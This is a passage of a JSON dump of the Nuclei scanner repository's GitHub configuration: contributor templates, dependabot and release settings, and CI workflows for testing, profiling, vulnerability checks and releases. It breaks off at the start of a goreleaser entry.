[
  {
    "path": ".github/DISCUSSION_TEMPLATE.md",
    "content": "# Nuclei Discussion Guidelines\n\n## Before Creating a Discussion\n\n1. **Search existing discussions and issues** to avoid duplicates\n2. **Check the documentation** and README first\n3. **Browse the FAQ** and common questions\n\n## Bug Reports in Discussions\n\nWhen reporting a bug in [Q&A Discussions](https://github.com/projectdiscovery/nuclei/discussions/categories/q-a), please include:\n\n### Required Information:\n- **Clear title** with `[BUG]` prefix (e.g., \"[BUG] Nuclei crashes when...\")\n- **Current behavior** - What's happening now?\n- **Expected behavior** - What should happen instead?\n- **Steps to reproduce** - Commands or actions that trigger the issue\n- **Environment details**:\n  - OS and version\n  - Nuclei version (`nuclei -version`)\n  - Go version (if installed via `go install`)\n- **Log output** - Run with `-verbose` or `-debug` for detailed logs\n- **Redact sensitive information** - Remove target URLs, credentials, etc.\n\n### After Discussion:\n- Maintainers will review and validate the bug report\n- Valid bugs will be converted to issues with proper labels and tracking\n- Questions and misconfigurations will be resolved in the discussion\n\n## Feature Requests in Discussions\n\nWhen requesting a feature in [Ideas Discussions](https://github.com/projectdiscovery/nuclei/discussions/categories/ideas), please include:\n\n### Required Information:\n- **Clear title** with `[FEATURE]` prefix (e.g., \"[FEATURE] Add support for...\")\n- **Feature description** - What do you want to be added?\n- **Use case** - Why is this feature needed? What problem does it solve?\n- **Implementation ideas** - If you have suggestions on how it could work\n- **Alternatives considered** - What other solutions have you thought about?\n\n### After Discussion:\n- Community and maintainers will discuss the feasibility\n- Popular and viable features will be converted to issues\n- Similar features may be grouped together\n- Rejected features will be explained in the discussion\n\n## Getting Help\n\nFor general questions, troubleshooting, and \"how-to\" topics:\n- Use [Q&A Discussions](https://github.com/projectdiscovery/nuclei/discussions/categories/q-a)\n- Join the [Discord server](https://discord.gg/projectdiscovery) #nuclei channel\n- Check existing discussions for similar questions\n\n## Discussion to Issue Conversion Process\n\nOnly maintainers can convert discussions to issues. The process:\n\n1. **Validation** - Maintainers review the discussion for completeness and validity\n2. **Classification** - Determine if it's a bug, feature, enhancement, etc.\n3. **Issue creation** - Create a properly formatted issue with appropriate labels\n4. **Linking** - Link the issue back to the original discussion\n5. **Resolution** - Mark the discussion as resolved or close it\n\nThis process ensures:\n- High-quality issues that are actionable\n- Proper triage and labeling\n- Reduced noise in the issue tracker\n- Community involvement in the validation process\n\n## Why This Process?\n\n- **Better organization** - Issues contain only validated, actionable items\n- **Community input** - Discussions allow for community feedback before escalation\n- **Quality control** - Maintainers ensure proper formatting and information\n- **Reduced maintenance** - Fewer invalid or duplicate issues to manage\n- **Clear separation** - Questions vs. actual bugs/features are clearly distinguished\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/bug-report.yml",
    "content": "name: Bug Report\ndescription: Create a report to help us to improve the Nuclei.\ntitle: \"[BUG] ...\"\nlabels: [\"Type: Bug\"]\nbody:\n  - type: markdown\n    attributes:\n      value: |\n        Thanks for taking the time to fill out this bug report!\n\n        For support requests, FAQs or \"How to\" questions, please use the [GitHub Discussions](https://github.com/projectdiscovery/nuclei/discussions) section instead or join our [Discord server](https://discord.gg/projectdiscovery) to discuss the idea on the **#nuclei** channel.\n\n        :warning: **Issues missing important information may be closed without further investigation.**\n  - type: checkboxes\n    attributes:\n      label: Is there an existing issue for this?\n      description: Please search to see if an issue already exists for the bug you encountered.\n      options:\n      - label: I have searched the existing issues.\n        required: true\n  - type: textarea\n    attributes:\n      label: Current Behavior\n      description: A concise description of what you're experiencing.\n    validations:\n      required: true\n  - type: textarea\n    attributes:\n      label: Expected Behavior\n      description: A concise description of what you expected to happen.\n    validations:\n      required: true\n  - type: textarea\n    attributes:\n      label: Steps To Reproduce\n      description: |\n        Steps to reproduce the behavior, for example, commands to run Nuclei.\n\n        💡 Prefer copying text output over using screenshots for easier troubleshooting.\n\n        📝 For a more detailed output that could help in troubleshooting, you may want to run Nuclei with the **`-verbose`** or **`-debug`** flags. This will provide additional insights into what's happening under the hood.<br>\n        📊 For performance or memory investigations, use **`-profile-mem`**, which generates `*.cpu`, `*.mem`, and `*.trace` files. Since GitHub doesn't support these formats directly, compress them (e.g., .zip or .tar.gz) and attach the archive under the \"Anything else\" section below.\n\n        :warning: **Please redact any literal target hosts/URLs or other sensitive information.**\n      placeholder: |\n        1. Run `nuclei -t ...`\n    validations:\n      required: true\n  - type: textarea\n    attributes:\n      label: Relevant log output\n      description: |\n        Please copy and paste any relevant log output. This will be automatically formatted into code, so no need for backticks.\n\n        💡 Prefer copying text output over using screenshots for easier troubleshooting.\n\n        📝 For a more detailed output that could help in troubleshooting, you may want to run Nuclei with the **`-verbose`** or **`-debug`** flags. This will provide additional insights into what's happening under the hood.<br>\n        📊 For performance or memory investigations, use **`-profile-mem`**, which generates `*.cpu`, `*.mem`, and `*.trace` files. Since GitHub doesn't support these formats directly, compress them (e.g., .zip or .tar.gz) and attach the archive under the \"Anything else\" section below.\n\n        :warning: **Please redact any literal target hosts/URLs or other sensitive information.**\n      render: shell\n  - type: textarea\n    attributes:\n      label: Environment\n      description: |\n        Examples:\n          - **OS**: Ubuntu 24.04\n          - **Nuclei** (`nuclei -version`): v3.6.0\n          - **Go** (`go version`): go1.24.0 _(only if you've installed it via the `go install` command)_\n      value: |\n          - OS: \n          - Nuclei: \n          - Go: \n      render: markdown\n    validations:\n      required: true\n  - type: textarea\n    attributes:\n      label: Anything else?\n      description: |\n        Links? References? Templates? CPU, memory, and trace profiles? Anything that will give us more context about the issue you are encountering!\n\n        Tip: You can attach images or log files by clicking this area to highlight it and then dragging files in.\n    validations:\n      required: false\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/config.yml",
    "content": "blank_issues_enabled: false\n\ncontact_links:\n\n  - name: 💡 Request a Feature (Start with Discussion)\n    url: https://github.com/orgs/projectdiscovery/discussions/new?category=ideas\n    about: Share your feature idea in discussions first. This helps validate and refine the request before creating an issue.\n\n  - name: ❓ Ask Questions / Get Help\n    url: https://github.com/orgs/projectdiscovery/discussions\n    about: Get help and ask questions about using Nuclei. Many questions don't require issues.\n\n  - name: 🔍 Browse Existing Issues\n    url: https://github.com/projectdiscovery/nuclei/issues\n    about: Check existing issues to see if your problem has already been reported or is being worked on.\n\n  - name: 💬 Connect with PD Team (Discord)\n    url: https://discord.gg/projectdiscovery\n    about: Join our Discord for real-time discussions and community support on the #nuclei channel."
  },
  {
    "path": ".github/ISSUE_TEMPLATE/reference-templates/README.md",
    "content": "# Issue Template References\n\n## Overview\n\nThis folder contains the preserved issue templates that are **not** directly accessible to users. These templates serve as references for maintainers when converting discussions to issues.\n\n## New Workflow\n\n### For Users:\n1. **All reports start in Discussions** - Users cannot create issues directly\n2. Bug reports go to [Q&A Discussions](https://github.com/projectdiscovery/nuclei/discussions/categories/q-a)\n3. Feature requests go to [Ideas Discussions](https://github.com/projectdiscovery/nuclei/discussions/categories/ideas)\n4. This helps filter out duplicate questions, invalid reports, and ensures proper triage\n\n### For Maintainers:\n1. **Review discussions** in both Q&A and Ideas categories\n2. **Validate the reports** - ensure they're actual bugs/valid feature requests\n3. **Use reference templates** when converting discussions to issues:\n   - Copy content from `bug-report-reference.yml` or `feature-request-reference.yml`\n   - Create a new issue manually with the appropriate template structure\n   - Link back to the original discussion\n   - Close the discussion or mark it as resolved\n\n## Benefits\n\n- **Better triage**: Avoid cluttering issues with questions and invalid reports\n- **Community involvement**: Discussions allow for community input before creating issues\n- **Quality control**: Maintainers can ensure issues follow proper format and contain necessary information\n- **Reduced noise**: Only validated, actionable items become issues\n\n## Reference Templates\n\n- `bug-report-reference.yml` - Use when converting bug reports from discussions to issues\n- `feature-request-reference.yml` - Use when converting feature requests from discussions to issues\n\n## Converting a Discussion to Issue\n\n1. Identify a valid discussion that needs to become an issue\n2. Go to the main repository's Issues tab\n3. Click \"New Issue\"\n4. Manually create the issue using the reference template structure\n5. Include all relevant information from the discussion\n6. Add a comment linking back to the original discussion\n7. Apply appropriate labels\n8. Close or mark the discussion as resolved with a link to the created issue\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/reference-templates/feature-request-reference.yml",
    "content": "name: Feature Request\ndescription: Request feature to implement in the Nuclei.\ntitle: \"[FEATURE] ...\"\nlabels: [\"Type: Enhancement\"]\nbody:\n  - type: markdown\n    attributes:\n      value: |\n        Thanks for taking the time to fill out this feature request!\n\n        Please make sure to provide a detailed description with all the relevant information that might be required to start working on this feature. In case you are not sure about your request or whether the particular feature is already supported or not, please [start a discussion](https://github.com/projectdiscovery/nuclei/discussions/categories/ideas) instead.\n\n        Join our [Discord server](https://discord.gg/projectdiscovery) to discuss the idea on the **#nuclei** channel.\n  - type: textarea\n    attributes:\n      label: Describe your feature request\n      description: A clear and concise description of feature to implement.\n    validations:\n      required: true\n  - type: textarea\n    attributes:\n      label: Describe the use case of the feature\n      description: A clear and concise description of the feature request's motivation and the use-cases in which it could be useful.\n    validations:\n      required: true\n  - type: textarea\n    attributes:\n      label: Describe alternatives you've considered\n      description: A clear and concise description of any alternative solutions or features you've considered.\n    validations:\n      required: false\n  - type: textarea\n    attributes:\n      label: Additional context\n      description: Add any other context about the feature request here.\n    validations:\n      required: false\n"
  },
  {
    "path": ".github/PULL_REQUEST_TEMPLATE.md",
    "content": "## Proposed changes\n\n<!-- Describe the overall picture of your modifications to help maintainers understand the pull request. PRs are required to be associated to their related issue tickets or feature request. -->\n\n### Proof\n\n<!-- How has this been tested? Please describe the tests that you ran to verify your changes. -->\n\n## Checklist\n\n<!-- Put an \"x\" in the boxes that apply. You can also fill these out after creating the PR. If you're unsure about any of them, don't hesitate to ask. We're here to help! This is simply a reminder of what we are going to look for before merging your code. -->\n\n- [ ] Pull request is created against the [dev](https://github.com/projectdiscovery/nuclei/tree/dev) branch\n- [ ] All checks passed (lint, unit/integration/regression tests etc.) with my changes\n- [ ] I have added tests that prove my fix is effective or that my feature works\n- [ ] I have added necessary documentation (if appropriate)"
  },
  {
    "path": ".github/auto_assign.yml",
    "content": "addReviewers: true\nreviewers:\n  - dogancanbakir\n  - dwisiswant0\n  - mzack9999\n\nnumberOfReviewers: 1\nskipKeywords:\n  - '@dependabot'"
  },
  {
    "path": ".github/dependabot.yml",
    "content": "version: 2\nupdates:\n  - package-ecosystem: \"gomod\"\n    directory: \"/\"\n    schedule:\n      interval: \"weekly\"\n    target-branch: \"dev\"\n    commit-message:\n      prefix: \"chore\"\n      include: \"scope\"\n    allow:\n      - dependency-name: \"github.com/projectdiscovery/*\"\n    groups:\n      modules:\n        patterns: [\"github.com/projectdiscovery/*\"]\n      security:\n        applies-to: \"security-updates\"\n        patterns: [\"*\"]\n        exclude-patterns: [\"github.com/projectdiscovery/*\"]\n    labels:\n      - \"Type: Maintenance\"\n\n  - package-ecosystem: \"github-actions\"\n    directory: \"/\"\n    schedule:\n      interval: \"weekly\"\n    target-branch: \"dev\"\n    commit-message:\n      prefix: \"chore\"\n      include: \"scope\"\n    groups:\n      workflows:\n        patterns: [\"*\"]\n        exclude-patterns: [\"projectdiscovery/actions/*\"]\n    labels:\n      - \"Type: Maintenance\"\n\n#  # Maintain dependencies for docker\n#  - package-ecosystem: \"docker\"\n#    directory: \"/\"\n#    schedule:\n#      interval: \"weekly\"\n#    target-branch: \"dev\"\n#    commit-message:\n#      prefix: \"chore\"\n#      include: \"scope\"\n#    labels:\n#      - \"Type: Maintenance\"\n"
  },
  {
    "path": ".github/release.yml",
    "content": "changelog:\n  exclude:\n    authors:\n      - dependabot\n  categories:\n    - title: 🎉 New Features\n      labels:\n        - \"Type: Enhancement\"\n    - title: 🐞 Bug Fixes\n      labels:\n        - \"Type: Bug\" \n    - title: 🔨 Maintenance\n      labels:\n        - \"Type: Maintenance\" \n    - title: Other Changes\n      labels:\n        - \"*\""
  },
  {
    "path": ".github/workflows/auto-merge.yaml",
    "content": "name: 🔀 Auto merge PR\n\non:\n  # pull_request:\n  #   types: [opened, synchronize, reopened, ready_for_review]\n  # pull_request_review:\n  #   types: [submitted]\n  workflow_run:\n    workflows: [\"♾️ Compatibility Checks\"]\n    types: [completed]\n\npermissions:\n  contents: write\n  pull-requests: write\n\njobs:\n  auto-merge-dependabot:\n    runs-on: ubuntu-latest\n    if: ${{ github.event.workflow_run.conclusion == 'success' }}\n    steps:\n      - uses: projectdiscovery/actions/pr/approve@v1\n      - uses: projectdiscovery/actions/pr/merge@v1\n        with:\n          auto: \"true\""
  },
  {
    "path": ".github/workflows/compat-checks.yaml",
    "content": "name: ♾️ Compatibility Checks\n\non:\n  pull_request:\n    types: [opened, synchronize]\n    branches:\n      - dev\n\njobs:\n  compat-checks:\n    if: ${{ github.actor == 'dependabot[bot]' }}\n    runs-on: ubuntu-latest\n    permissions:\n      contents: write\n    steps:\n      - uses: actions/checkout@v6\n      - uses: projectdiscovery/actions/setup/go/compat-checks@v1\n        with:\n          go-version: \"stable\"\n          release-test: true\n"
  },
  {
    "path": ".github/workflows/flamegraph.yaml",
    "content": "name: 📊 Flamegraph\n\non:\n  workflow_call: {}\n\njobs:\n  flamegraph:\n    name: \"Flamegraph\"\n    env:\n      GITHUB_TOKEN: \"${{ github.token }}\"\n      PROFILE_MEM: \"/tmp/nuclei-profile\"\n      TARGET_URL: \"http://honey.scanme.sh/-/?foo=bar\"\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions/checkout@v6\n      - uses: projectdiscovery/actions/setup/go@v1\n      - uses: projectdiscovery/actions/cache/go-rod-browser@v1\n      - uses: projectdiscovery/actions/cache/nuclei@v1\n      - run: make build\n\n      - name: \"Setup environment (push)\"\n        if: ${{ github.event_name == 'push' }}\n        run: |\n          echo \"PROFILE_MEM=${PROFILE_MEM}-${GITHUB_REF_NAME}-${GITHUB_SHA}\" >> $GITHUB_ENV\n          echo \"FLAMEGRAPH_NAME=nuclei-${GITHUB_REF_NAME} (${GITHUB_SHA})\" >> $GITHUB_ENV\n      - name: \"Setup environment (pull_request)\"\n        if: ${{ github.event_name == 'pull_request' }}\n        run: |\n          echo \"PROFILE_MEM=${PROFILE_MEM}-pr-${{ github.event.number }}\" >> $GITHUB_ENV\n          echo \"FLAMEGRAPH_NAME=nuclei (PR #${{ github.event.number }})\" >> $GITHUB_ENV\n\n      - run: ./bin/nuclei -update-templates\n      - run: |\n          ./bin/nuclei -silent -target=\"${TARGET_URL}\" \\\n            -disable-update-check \\\n            -no-mhe -no-httpx \\\n            -code -dast -file -headless \\\n            -enable-self-contained -enable-global-matchers \\\n            -rate-limit=0 \\\n            -concurrency=250 \\\n            -headless-concurrency=100 \\\n            -payload-concurrency=250 \\\n            -bulk-size=250 \\\n            -headless-bulk-size=100 \\\n            -profile-mem=\"${PROFILE_MEM}\"\n\n      - uses: projectdiscovery/actions/flamegraph@v1\n        id: flamegraph-cpu\n        with:\n          profile: \"${{ env.PROFILE_MEM }}.cpu\"\n          name: \"${{ env.FLAMEGRAPH_NAME }} CPU profiles\"\n        continue-on-error: true\n      - uses: projectdiscovery/actions/flamegraph@v1\n        id: flamegraph-mem\n        with:\n          profile: \"${{ env.PROFILE_MEM }}.mem\"\n          name: \"${{ env.FLAMEGRAPH_NAME }} memory profiles\"\n        continue-on-error: true\n      - if: ${{ steps.flamegraph-mem.outputs.message == '' }}\n        run: |\n          echo \"::notice::CPU flamegraph: ${{ steps.flamegraph-cpu.outputs.url }}\"\n          echo \"::notice::Memory (heap) flamegraph: ${{ steps.flamegraph-mem.outputs.url }}\"\n"
  },
  {
    "path": ".github/workflows/generate-docs.yaml",
    "content": "name: ⏰ Generate Docs\n\non:\n  push:\n    branches:\n      - dev\n  workflow_dispatch: {}\n\njobs:\n  publish-docs:\n    if: ${{ !endsWith(github.actor, '[bot]') }}\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions/checkout@v6\n      - uses: projectdiscovery/actions/setup/go@v1\n      - uses: projectdiscovery/actions/setup/git@v1\n      - run: make syntax-docs\n      - run: git status -s | wc -l | xargs -I {} echo CHANGES={} >> $GITHUB_OUTPUT\n        id: status\n      - uses: projectdiscovery/actions/commit@v1\n        if: steps.status.outputs.CHANGES > 0\n        with:\n          files: |\n            SYNTAX-REFERENCE.md\n            nuclei-jsonschema.json\n          message: 'docs: update syntax & JSON schema 🤖'\n      - run: git push origin $GITHUB_REF\n"
  },
  {
    "path": ".github/workflows/generate-pgo.yaml",
    "content": "name: 👤 Generate PGO\n\non:\n  workflow_dispatch: {}\n  workflow_call: {}\n\njobs:\n  pgo:\n    runs-on: ubuntu-latest\n    if: github.repository == 'projectdiscovery/nuclei'\n    permissions:\n      contents: write\n    env:\n      GITHUB_TOKEN: \"${{ github.token }}\"\n      PGO_FILE: \"cmd/nuclei/default.pgo\"\n      TARGET: \"https://honey.scanme.sh\"\n      TARGET_COUNT: \"100\"\n      TARGET_LIST: \"/tmp/targets.txt\"\n      PROFILE_MEM: \"/tmp/nuclei-profile\"\n    steps:\n      - uses: actions/checkout@v6\n      - uses: projectdiscovery/actions/setup/go@v1\n      - uses: projectdiscovery/actions/cache/go-rod-browser@v1\n      - uses: projectdiscovery/actions/cache/nuclei@v1\n      - run: |\n          for i in {1..${{ env.TARGET_COUNT }}}; do\n              echo \"${{ env.TARGET }}/-/?_=${i}\" >> \"${{ env.TARGET_LIST }}\";\n          done\n      - run: make build\n      - run: ./bin/nuclei -update-templates\n      - run: |\n          ./bin/nuclei -silent -list=\"${TARGET_LIST}\" \\\n            -disable-update-check \\\n            -no-mhe -no-httpx \\\n            -code -dast -file -headless \\\n            -enable-self-contained -enable-global-matchers \\\n            -rate-limit=0 \\\n            -concurrency=250 \\\n            -headless-concurrency=100 \\\n            -payload-concurrency=250 \\\n            -bulk-size=250 \\\n            -headless-bulk-size=100 \\\n            -profile-mem=\"${PROFILE_MEM}\" \\\n        env:\n          DISABLE_STDOUT: \"1\"\n      - run: mv \"${PROFILE_MEM}.cpu\" \"${PGO_FILE}\"\n      - uses: actions/upload-artifact@v7\n        with:\n          name: \"pgo\"\n          path: \"${{ env.PGO_FILE }}\"\n          overwrite: true\n"
  },
  {
    "path": ".github/workflows/govulncheck.yaml",
    "content": "name: 🐛 govulncheck\n\non:\n  schedule:\n    - cron: '0 0 * * 0' # Weekly\n  workflow_dispatch: {}\n\njobs:\n  govulncheck:\n    runs-on: ubuntu-latest\n    if: github.repository == 'projectdiscovery/nuclei'\n    permissions:\n      actions: read\n      contents: read\n      security-events: write\n    env:\n      OUTPUT: \"/tmp/results.sarif\"\n    steps:\n      - uses: actions/checkout@v6\n      - uses: projectdiscovery/actions/setup/go@v1\n      - run: go install golang.org/x/vuln/cmd/govulncheck@latest\n      - run: |\n          govulncheck -scan package -format sarif ./... | \\\n            jq '(.runs[].tool.driver.rules[]?.properties.tags)? |= unique' > $OUTPUT\n      - uses: github/codeql-action/upload-sarif@v4\n        with:\n          sarif_file: \"${{ env.OUTPUT }}\"\n          category: \"govulncheck\"\n"
  },
  {
    "path": ".github/workflows/memogen.yaml",
    "content": "name: 💾 Memoize Functions\n\non:\n  push:\n    branches:\n      - dev\n    paths:\n      - 'pkg/js/libs/**'\n      - 'cmd/memogen/**'\n  workflow_dispatch: {}\n\njobs:\n  memogen:\n    if: ${{ !endsWith(github.actor, '[bot]') }}\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions/checkout@v6\n      - uses: projectdiscovery/actions/setup/go@v1\n      - uses: projectdiscovery/actions/setup/git@v1\n      - run: make memogen\n      - run: git status -s | wc -l | xargs -I {} echo CHANGES={} >> $GITHUB_OUTPUT\n        id: status\n      - uses: projectdiscovery/actions/commit@v1\n        if: steps.status.outputs.CHANGES > 0\n        with:\n          files: |\n            pkg/js/libs/\n          message: 'chore(js): update memoized functions 🤖'\n      - run: git push origin $GITHUB_REF\n        if: steps.status.outputs.CHANGES > 0\n"
  },
  {
    "path": ".github/workflows/perf-regression.yaml",
    "content": "name: 🔨 Performance Regression\n\non:\n  workflow_call: {}\n  workflow_dispatch: {}\n\njobs:\n  perf-regression:\n    runs-on: ubuntu-latest\n    if: github.repository == 'projectdiscovery/nuclei'\n    env:\n      BENCH_OUT: \"/tmp/bench.out\"\n    steps:\n      - uses: actions/checkout@v6\n      - uses: projectdiscovery/actions/setup/go@v1\n      - uses: projectdiscovery/actions/cache/go-rod-browser@v1\n      - uses: projectdiscovery/actions/cache/nuclei@v1\n      - run: make build-test\n      - run: ./bin/nuclei.test -test.run - -test.bench=. -test.benchmem ./cmd/nuclei/ | tee $BENCH_OUT\n        env:\n          DISABLE_STDOUT: \"1\"\n      - uses: actions/cache/restore@v5\n        with:\n          path: ./cache\n          key: ${{ runner.os }}-benchmark\n      - uses: benchmark-action/github-action-benchmark@v1\n        with:\n          name: 'RunEnumeration Benchmark'\n          tool: 'go'\n          output-file-path: ${{ env.BENCH_OUT }}\n          external-data-json-path: ./cache/benchmark-data.json\n          fail-on-alert: false\n          github-token: ${{ secrets.GITHUB_TOKEN }}\n          comment-on-alert: true\n          summary-always: true\n      - uses: actions/cache/save@v5\n        if: github.event_name == 'push'\n        with:\n          path: ./cache\n          key: ${{ runner.os }}-benchmark\n"
  },
  {
    "path": ".github/workflows/release.yaml",
    "content": "name: 🎉 Release\n\non:\n  push:\n    tags:\n      - '*'\n  workflow_dispatch: {}\n\njobs:\n  pgo:\n    name: \"Generate PGO\"\n    uses: ./.github/workflows/generate-pgo.yaml\n\n  release:\n    name: \"Release\"\n    needs: [\"pgo\"]\n    runs-on: ubuntu-latest-16-cores\n    steps: \n      - uses: actions/checkout@v6\n        with: \n          fetch-depth: 0\n      - uses: actions/download-artifact@v8\n        with:\n          name: \"pgo\"\n          path: \"cmd/nuclei/\"\n      - uses: projectdiscovery/actions/setup/go@v1\n        with:\n          go-version: \"stable\"\n      - uses: docker/login-action@v4 \n        with:\n          username: ${{ secrets.DOCKER_USERNAME }}\n          password: ${{ secrets.DOCKER_TOKEN }}\n      - uses: projectdiscovery/actions/goreleaser@v1\n        with: \n          release: true\n        env: \n          GITHUB_TOKEN: \"${{ secrets.GITHUB_TOKEN }}\"\n          SLACK_WEBHOOK: \"${{ secrets.RELEASE_SLACK_WEBHOOK }}\"\n          DISCORD_WEBHOOK_ID: \"${{ secrets.DISCORD_WEBHOOK_ID }}\"\n          DISCORD_WEBHOOK_TOKEN: \"${{ secrets.DISCORD_WEBHOOK_TOKEN }}\"\n"
  },
  {
    "path": ".github/workflows/stale.yaml",
    "content": "name: 💤 Stale\n\non:\n  schedule:\n    - cron: '0 0 * * 0' # Weekly\n\njobs:\n  stale:\n    runs-on: ubuntu-latest\n    permissions:\n      actions: write\n      contents: write # only for delete-branch option\n      issues: write\n      pull-requests: write\n    steps:\n      - uses: actions/stale@v10\n        with:\n          days-before-stale: 90\n          days-before-close: 7\n          stale-issue-label: \"Status: Stale\"\n          stale-pr-label: \"Status: Stale\"\n          stale-issue-message: >\n            This issue has been automatically marked as stale because it has not\n            had recent activity. It will be closed in 7 days if no further\n            activity occurs. Thank you for your contributions!\n          stale-pr-message: >\n            This pull request has been automatically marked as stale due to\n            inactivity. It will be closed in 7 days if no further activity\n            occurs. Please update if you wish to keep it open.\n          close-issue-message: >\n            This issue has been automatically closed due to inactivity. If you\n            think this is a mistake or would like to continue the discussion,\n            please comment or feel free to reopen it.\n          close-pr-message: >\n            This pull request has been automatically closed due to inactivity.\n            If you think this is a mistake or would like to continue working on\n            it, please comment or feel free to reopen it.\n          close-issue-label: \"Status: Abandoned\"\n          close-pr-label: \"Status: Abandoned\"\n          exempt-issue-labels: \"Type: Enhancement\"\n"
  },
  {
    "path": ".github/workflows/tests.yaml",
    "content": "name: 🔨 Tests\n\non:\n  push:\n    branches: [\"dev\"]\n    paths:\n      - '**.go'\n      - '**.mod'\n  pull_request:\n    paths:\n      - '**.go'\n      - '**.mod'\n  workflow_dispatch:\n\nconcurrency:\n  group: ${{ github.workflow }}-${{ github.ref }}\n  cancel-in-progress: true\n\njobs:\n  lint:\n    name: \"Lint\"\n    if: ${{ !endsWith(github.actor, '[bot]') }}\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions/checkout@v6\n      - uses: projectdiscovery/actions/setup/go@v1\n      - uses: projectdiscovery/actions/cache/go-rod-browser@v1\n      - uses: projectdiscovery/actions/golangci-lint/v2@v1\n\n  tests:\n    name: \"Tests\"\n    needs: [\"lint\"]\n    env:\n      GITHUB_TOKEN: \"${{ github.token }}\"\n    strategy:\n      fail-fast: false\n      matrix:\n        os: [ubuntu-latest, windows-latest, macOS-latest]\n    runs-on: \"${{ matrix.os }}\"\n    steps:\n      - uses: actions/checkout@v6\n      - uses: projectdiscovery/actions/setup/go@v1\n      - uses: projectdiscovery/actions/cache/go-rod-browser@v1\n      - uses: projectdiscovery/actions/cache/nuclei@v1\n      - uses: projectdiscovery/actions/free-disk-space@v1\n        with:\n          llvm: 'false'\n          php: 'false'\n          mongodb: 'false'\n          mysql: 'false'\n          misc-packages: 'false'\n          docker-images: 'false'\n          tools-cache: 'false'\n      - run: make vet\n      - run: make build\n      - run: make test\n        env:\n          PDCP_API_KEY: \"${{ secrets.PDCP_API_KEY }}\"\n      - run: go run -race . -l ../functional-test/targets.txt -id tech-detect,tls-version\n        if: ${{ matrix.os != 'windows-latest' }} # known issue: https://github.com/golang/go/issues/46099\n        working-directory: cmd/nuclei/\n\n  sdk:\n    name: \"Run example SDK\"\n    needs: [\"tests\"]\n    runs-on: ubuntu-latest\n    env:\n      GITHUB_TOKEN: \"${{ github.token }}\"\n    steps:\n      - uses: actions/checkout@v6\n      - uses: projectdiscovery/actions/setup/go@v1\n      - uses: projectdiscovery/actions/cache/go-rod-browser@v1\n      - uses: projectdiscovery/actions/cache/nuclei@v1\n      - name: \"Simple\"\n        run: go run .\n        working-directory: examples/simple/\n      # - run: go run . # Temporarily disabled very flaky in github actions\n      #   working-directory: examples/advanced/\n\n      # TODO: FIX with ExecutionID (ref: https://github.com/projectdiscovery/nuclei/pull/6296)\n      # - name: \"with Speed Control\"\n      #   run: go run .\n      #   working-directory: examples/with_speed_control/\n\n  integration:\n    name: \"Integration tests\"\n    needs: [\"tests\"]\n    env:\n      GITHUB_TOKEN: \"${{ github.token }}\"\n    strategy:\n      fail-fast: false\n      matrix:\n        os: [ubuntu-latest, windows-latest, macOS-latest]\n    runs-on: ${{ matrix.os }}\n    steps:\n      - uses: actions/checkout@v6\n      - uses: projectdiscovery/actions/setup/go@v1\n      - uses: projectdiscovery/actions/cache/nuclei@v1\n      - uses: projectdiscovery/actions/setup/python@v1\n      - uses: projectdiscovery/actions/cache/go-rod-browser@v1\n      - run: bash run.sh \"${{ matrix.os }}\"\n        env:\n          PDCP_API_KEY: \"${{ secrets.PDCP_API_KEY }}\"\n        timeout-minutes: 50\n        working-directory: integration_tests/\n\n  functional:\n    name: \"Functional tests\"\n    needs: [\"tests\"]\n    env:\n      GITHUB_TOKEN: \"${{ github.token }}\"\n    strategy:\n      fail-fast: false\n      matrix:\n        os: [ubuntu-latest, windows-latest, macOS-latest]\n    runs-on: ${{ matrix.os }}\n    steps:\n      - uses: actions/checkout@v6\n      - uses: projectdiscovery/actions/setup/go@v1\n      - uses: projectdiscovery/actions/cache/nuclei@v1\n      - uses: projectdiscovery/actions/setup/python@v1\n      - uses: projectdiscovery/actions/cache/go-rod-browser@v1\n      - run: bash run.sh\n        working-directory: cmd/functional-test/\n\n  validate:\n    name: \"Template validate\"\n    needs: [\"tests\"]\n    runs-on: ubuntu-latest\n    env:\n      GITHUB_TOKEN: \"${{ github.token }}\"\n    steps:\n      - uses: actions/checkout@v6\n      - uses: projectdiscovery/actions/setup/go@v1\n      - uses: projectdiscovery/actions/cache/go-rod-browser@v1\n      - run: make template-validate\n\n  codeql:\n    name: \"CodeQL analysis\"\n    needs: [\"tests\"]\n    runs-on: ubuntu-latest\n    permissions:\n      actions: read\n      contents: read\n      security-events: write\n    steps:\n      - uses: actions/checkout@v6\n      - uses: github/codeql-action/init@v4\n        with:\n          languages: 'go'\n      - uses: github/codeql-action/autobuild@v4\n      - uses: github/codeql-action/analyze@v4\n\n  release:\n    name: \"Release test\"\n    needs: [\"tests\"]\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions/checkout@v6\n      - uses: projectdiscovery/actions/setup/go@v1\n        with:\n          go-version: \"stable\"\n      - uses: projectdiscovery/actions/goreleaser@v1\n\n  flamegraph:\n    name: \"Flamegraph\"\n    needs: [\"tests\"]\n    uses: ./.github/workflows/flamegraph.yaml\n\n  perf-regression:\n    name: \"Performance regression\"\n    needs: [\"tests\"]\n    uses: ./.github/workflows/perf-regression.yaml\n"
  },
  {
    "path": ".github/workflows/typos.yaml",
    "content": "name: 🔤 Typos\r\n\r\non:\r\n  push:\r\n    branches: [\"dev\"]\r\n  pull_request:\r\n  workflow_dispatch:\r\n\r\nconcurrency:\r\n  group: ${{ github.workflow }}-${{ github.ref }}\r\n  cancel-in-progress: true\r\n\r\njobs:\r\n  typos:\r\n    name: \"Spell Check\"\r\n    if: ${{ !endsWith(github.actor, '[bot]') }}\r\n    runs-on: ubuntu-latest\r\n    steps:\r\n      - uses: actions/checkout@v4\r\n      - uses: crate-ci/typos@v1.28.4\r\n"
  },
  {
    "path": ".goreleaser.yml",
